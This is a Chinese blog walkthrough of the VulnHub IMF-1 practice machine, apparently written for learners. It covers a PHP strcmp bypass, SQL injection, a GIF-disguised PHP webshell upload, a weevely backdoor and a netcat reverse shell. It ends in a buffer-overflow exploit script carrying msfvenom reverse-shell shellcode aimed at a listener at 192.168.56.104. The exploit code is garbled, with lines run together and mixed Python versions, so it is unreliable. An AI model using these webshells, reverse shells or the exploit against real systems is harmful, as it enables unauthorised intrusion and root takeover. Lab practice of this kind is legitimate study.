靶机地址:https://www.vulnhub.com/entry/imf-1,162/

1、IMF考察点

1)信息收集:

  1. nmap收集信息

  1. curl base64深入枚举

  1. 页面信息枚举cewl

2)webshell:

  1. php strcmp绕过

  1. IMF CMS sql注入

  1. 文件上传绕过waf(hexdump、反引号、十六进制、weevely)

  1. 代码审计htaccess

  1. 审计WAF

3)提权:

CVE-2021-4034

4)缓冲区溢出:

  1. base64下载

  1. 端口碰撞

  1. Itrace跟踪

  1. strings分析

  1. GDB-pead分析

  1. 绕过ALSR

  1. 偏移量、JMP、shellcode编写

  1. python3 exp编写

2、渗透过程

  • 将下载好的靶场解压添加到虚拟机中,且设置为同一网段

  • 查看攻击机kali的ip为192.168.56.104.扫描同网段存活主机,输入命令:

nmap 192.168.56.1/24 -sP
  • 发现存活主机,192.168.56.101为我们此次攻击的靶机,然后扫描其端口,发现80端口

  • 输入ip地址到浏览器,并检查页面情况及源代码情况

  • 页面并无有用信息,查看源代码,发现存在一个flag1,并且内容为base64编码格式。

  • 输入命令:

echo 'YWxsdGhlZmlsZXM=' | base64 -d #进行解码,获得flag1{allthefiles}

  • 接着对源代码进行挖掘,发现在js文件出存在类似base64的编码格式文件存在

  • 将其分解并向刚才操作一般,解密后获得flag2{aW1mYWRtaW5pc3RyYXRvcg==},再进行解密发现了flag2{imfadministrator}

  • 再没有其他的发现了,目前没有什么信息可以利用,发现在flag2中,存在着administrator的字样存在,利用该单词去当作web的路径进行输入发现了个简易的登录框

  • 查看源代码发现,该框不能进行sql注入

  • 对此,我们可以看到上述输入框中的变量值,尝试输入查看变化

  • 打开burpsuite,利用抓包改包,看看是否可以绕过

  • 将抓到的包发送给repeater,在里面构造包,通过发送,查看回显

  • 说明,这里是无效的用户名,和pass无关,可以枚举出用户名

  • 返回web端,查看页面的信息,在Contract Us界面发现有三个邮箱

  • 可以利用他们去做尝试

  • 发现用户名正确,密码错误了,剩下两个用户测试发现均为无效用户

  • 下面进行绕过操作,参考php strcmp比较字符串绕过:字符串和数组进行比较

  • 构建一个payload:?a[]

  • 在靶机中的pass改为pass[]

  • 获得flag3{Y29udGludWVUT2Ntcw==},利用bp的decoder解密:

  • flag3{continueTOcms},发现flag中包括cms,重新抓包,改包后,进入新的页面

  • 该界面是存在sql注入的,重新抓包,并将信息保存下来,利用sqlmap去攻击

  • 然后输入sqlmap -r 1.txt --dump #--可以获取数据库,但是无法获取shell --dump:导出列里面的字段

  • 发现存在一个图片路径,/images/whiteboard.jpg,发现存在一个二维码,扫描后发现

flag4{dXBsb2Fkcjk0Mi5waHA=},flag4{uploadr942.php},是一个上传的php

  • 经过尝试允许上传jpg、png、gif,但是存在waf,利用双扩展名或空字符都无法绕过waf

  • 先查到本地存在php的shell,然后利用php的webshell改格式为gif进行上传发现存在waf

  • 在IMF文件下创建一个新的.gif文件,文件头为,通过插入GIF89a十六​​进制标头并附加,WAF没有发现为恶意的php代码来创建一个gif文件

GIF89a

上传后发现上传成功

  • 查看源代码中,发现了文件变化改变,然后去uploads路径下输入,该编号.gif

  • 发现上传成功,下面构造一个webshell,上传

GIF89a
<?php $cmd=$_GET['cmd']; echo `$cmd`;?> 
  • 通过刚才的操作,利用GET请求,可以看到目录下存在flag5

  • 读取flag5{YWdlbnRzZXJ2aWNlcw==} ,flag5{agentservices}

  • 获取服务器的shell,修改之前复制到IMF文件的reverser-php中的IP地址为本地kali的ip

  • 利用刚才上传的文件的cmd远程命令,先在kali上开启服务,然后从kali本机上下载修改后的shell-php

  • 查看后,发现上传成功

  • 在kali中开启监听 nc -lvp 1234

  • 在浏览器的uploads路径下访问刚才上传的reverse-shell,反弹一个shell

  • 第二种获取shell的方法:weevely

  • weevely generate passxiaoli xiaoli.php ---生成xiaoli.php文件密码为passxiaoli

generate ---生成新代理

  • mv xiaoli.php xiaoli.gif ---然后头部加入GIF98a并改名文件为gif

  • 然后上传文件,看源码ID: 085af1fd2790

  • weevely http://192.168.56.101/imfadministrator/uploads/085af1fd2790.gif passxiaoli

成功获得shell,该shell很稳定!

cat查看信息:

AddType application/x-httpd-php .php .gif

AddHandler application/x-httpd-php .gif

可看到该文件与继续gif解析php文件!

  • 获取了低权限,下面进行提权了,从flag5中发现它的内容是agentservices,拆开看就是agent services。输入命令find / -name agent &>/dev/null

  • 输入命令/usr/local/bin/agent,这使用>/dev/null把错误信息重定向到黑洞中,只留下正确的信息回显,这时候我们就能快速而准确的找到我们需要的文件了…发现有代理在执行

  • 进去/usr/local/bin/目录后,发现两个文件,查看除agent外的文件,然后输入netstat -ant查看端口情况

  • 发现存在SYN 三个端口,然后利用knock去敲震这三个端口

  • 重新nmap 靶机

  • 7788端口被敲开,然后在kali本地利用nc去连接

  • 不知道Agent ID是什么

  • 在shell中查看是否安装python,发现安装了python3,查看是否安装perl,利用perl反弹一个shell

利用上述一句话:

一句话连接可以参考:https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

  • 利用base64 agent,将输出的内容复制到本地kali上,然后再从base64转换回来

  • 先继续分析本地kali上的agent!使用ltrace(跟踪进程调用库函数的情况)查看agent信息:

  • ltrace ./agent

  • 发现了比较函数,ID的对比函数,得知了正确的ID值,输入ID:48093572,进到该程序中了

  • strncmp("\n", "48093572", 8) = -1 ----正在将我提供的字符串与字符串48093572进行比较,在这种情况下导致=-1)

  • 通过上述的比较函数等分析,该程序应该存在缓冲区溢出

  • 利用strings agent,也可以查看该程序的信息,发现了strncmp,以及两个%s

  • 这里两个地方使用了“%s”,这很可能是一个有效的溢出点!

  • 运行程序后,提前用python生成200个字符,进行输入测试

  • 发现有分段错误,存在缓冲区溢出,下一步就要找打它的偏移量,利用gdb去分析该程序

  • 具体的可以参考https://xz.aliyun.com/t/3784

  • 对于缓冲区溢出的操作如下:

1、使用gdb调试
gdb -q ./file
2、生成1000位值
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
3、GDB执行值,查看错误点
4、解析错误点判断偏移量
5、vmmap查看信息
6、验证EIP
7、验证ESP
8、确认坏字符
缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。常见的坏字符有x0a、x0b、x00
9、msf生成payload

  • 输入200值后,发现segmentation fault溢出报错!存在缓冲区溢出!0x41366641报错

  • 找到偏移量168,在168位之后编写shellcode

  • 找到EAX的值为:0x8048563,目前知道了JMP值:0x8048563偏移量:168接下来创建shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.104 LPORT=4444 -f python -b "\x00\x0a\x0b"
payload:
-p 载荷类型
LHOST 本机地址
LPORT
-b 坏字符
-f 编译的语言
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
  • 因为该程序需要在运行时输入ID,然后选择选项,所以写个脚本来进行操作:

最终代码:exp.py
------------------------------
#!/usr/bin/python
import time, struct, sys
import socket as so#Command used for Linux Payload.. replace with your IP - msfvenom -p linux/x86/shell/reverse_tcp LPORT=4444 LHOST=192.168.56.104 -b "\x00\x0a\x0d" -f pybuf =  b""
buf += b"\xbf\x64\x68\x24\x07\xdb\xc2\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x1f\x31\x7b\x15\x03\x7b\x15\x83\xc3\x04\xe2"
buf += b"\x91\x02\x2e\x59\x68\x08\xd9\x86\xd9\xed\x75\x23\xdf"
buf += b"\x41\x1f\x3a\x3e\x6c\x60\xab\x9b\x07\xa1\x7c\x23\xb0"
buf += b"\x49\x7f\x53\x51\xd6\xf6\xb2\x3b\x80\x50\x64\xed\x1b"
buf += b"\xe8\x65\x4e\x69\x6a\xe0\x91\x08\x72\xa4\x65\xd6\xec"
buf += b"\x9a\x86\x28\xed\x82\xec\x28\x87\x37\x78\xcb\x66\xfe"
buf += b"\xb7\x8c\x0c\xc0\x31\x30\xe5\xe7\x73\x4d\x43\xe7\x63"
buf += b"\x52\xb3\x6e\x60\x93\x58\x7c\xa6\xf7\x93\xcc\x55\x35"
buf += b"\x2b\xa9\x66\xbd\x3c\xea\xef\xdf\xa4\xbe\xd4\xaf\xd4"
buf += b"\x73\x94\x55\x1a\xf3\x97\xaa\x7a\xbb\x99\x54\x7d\xbb"
buf += b"\x22\x55\x7d\xbb\x54\x9b\xfd"#CALL EAX address is 8048563
buf += "A" * (168 - len(buf))buf +="\x63\x85\x04\x08\n"try:server = str(sys.argv[1])port = int(sys.argv[2])
except IndexError:print "[+] Usage example: python %s 192.168.56.101 7788" % sys.argv[0]sys.exit()#Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3.
s = so.socket(so.AF_INET, so.SOCK_STREAM)
print "\n[+] Attempting to send buffer overflow to agent...."
try: s.connect((server,port))s.recv(1024)s.send("48093572\n")s.recv(1024)s.send("3\n")s.send(buf)s.recv(1024)print "\n[+] Completed."
except:print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."sys.exit()client.recv(512) 中recv是recvsize的缩写,参考:https://blog.csdn.net/momod/article/details/105883550   当使用socket模块,在接收请求数据时一般用s.recv()函数。这个函数有一个bufsize参数,指定要接受的最大数据量。一般教程会推荐设定这个值为1024。如这个简单的服务器代码:
当修改bufsize,小于一定长度,比如128,运行后访问127.0.0.1:8080,网页不会报错,但不显示任何内容。
  • 然后开启监听,运行exp.py即可反弹回

然后返回来的直接是root权限,直接查看flag文件

  • cat Flag.txt

  • flag6{R2gwc3RQcm90MGMwbHM=}

  • Gh0stProt0c0ls

3、总结

到此,该靶机的所有flag以集齐,该靶机所蕴含的知识非常多,其中最重要的还是缓冲区溢出的漏洞,希望能够给入门的同学起到一定的指导。前段时间一直在看论文写方案,准备论文开题,所以一直也没有抽空接着做靶机的渗透学习,开题已经结束了,后续会继续更新,希望大家多多关注,从中能够学到一些知识。

继续努力~

渗透项目(八):IMF-1相关推荐

  1. 【甄选靶场】Vulnhub百个项目渗透——项目八:IMF-1(文件上传,缓冲区溢出)

    Vulnhub百个项目渗透 靶场环境 提取码:rong Vulnhub百个项目渗透--项目八:IMF-1(文件上传,缓冲区溢出)

  2. 【甄选靶场】Vulnhub百个项目渗透——项目三十八:Tommy-Boy-1(修改UA,脏牛提权)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目三十八:Tommy-Boy-1(修改UA,脏牛提权) 这个靶场被我打坏了,忘记快照了,自行官网下载哈~~

  3. 【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析) 靶场地址

  4. 【未完成】【甄选靶场】Vulnhub百个项目渗透——项目四十一:DEFCON Toronto-Galahad(图像深层分析,流量分析)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目四十一:DEFCON Toronto-Galahad(图像深层分析,流量分析)

  5. 网络存储技术Windows server 2012 (项目八 文件共享与磁盘映射)

    网络存储技术Windows server 2012 (项目八 文件共享与磁盘映射) 目录 前言 一.项目背景 二.项目实训题 三.操作步骤 1.在文件服务器上创建用户tom和jack: 2.在文件服务 ...

  6. 【甄选靶场】Vulnhub百个项目渗透——项目十一:skytower-1(代理登录ssh,绕过shell禁用)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十一:skytower-1(代理登录ssh,绕过shell禁用) ==================靶场地址============== ...

  7. 渗透项目(五):W1R3S

    项目地址:W1R3S: 1.0.1 ~ VulnHub 1.W1R3S的考察点: 1)信息收集: 1.nmap挖掘信息.2.页面枚举.3.Cuppa CMS LFI 2)提权: 1.sudo提权 2. ...

  8. 【甄选靶场】Vulnhub百个项目渗透——项目四十二:Moria1.1(MD5加盐爆破)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目四十二:Moria1.1(MD5加盐爆破)

  9. 【甄选靶场】Vulnhub百个项目渗透——项目五十二:Fowsniff-1(任务挟持)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目五十二:Fowsniff-1(任务挟持)

  10. 【甄选靶场】Vulnhub百个项目渗透——项目三十三:Money-Heist-catch-me-if-you-can(密码学)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目三十三:Money-Heist-catch-me-if-you-can(密码学)

最新文章

  1. as死机了怎么办_Acer AS574/G开机死机故障排除手记
  2. myeclise 安装
  3. Apriori算法简介及实现(python)
  4. 【聊一聊】css中的经典布局——圣杯布局
  5. 数组排序(冒泡、排序)
  6. Spring Cloud构建微服务架构:分布式服务跟踪(入门)【Dalston版】
  7. java phantomjs 截图_phantomjs 截图
  8. IDEA引入外部jar包的方法
  9. nginx 超时时间_Linux从入门到放弃 Nginx
  10. python pillow无法安装_Pillow
  11. uva 11992 Fast Matrix Operations
  12. 80-200-040-原理-MySQL服务端架构
  13. python根据字符串实例化对象_解密 Python 中的对象模型
  14. discuz是如何判断手机端访问的
  15. 计算机网络应用平面设计广告设计,互联网时代平面广告设计
  16. 【游戏开发3D数学笔记】1.有话说在前面
  17. 二维图像中EMD 法与 Mura 检测的总结
  18. 数学:确定性的丧失---第二章 数学真理的繁荣
  19. 翼次元空间:GoodUP.io与4WiN全球互贸链的基础=智协云店通+BitCOO
  20. 断背山 - 剧情花絮 - 电影 - 风行

热门文章

  1. 大学生H5动画设计成品作业 —— 城市环保网
  2. 雅思英语作文计算机和历史,雅思考试|历史真题帮你搞定雅思写作3大高频话题-科技篇...
  3. winform combobox背景色自定义
  4. Just Shuffle
  5. 硬件设计6---什么是滞回电路
  6. 好读书,不求甚解-----------内功不深之后的恶补
  7. 第3章 垃圾收集器与内存分配策略6
  8. 第二次作业-关于Steam游戏平台的简单分析
  9. 移动OA系统,告别企业“粗放式管理”
  10. ccs低版本打开高版本的工程问题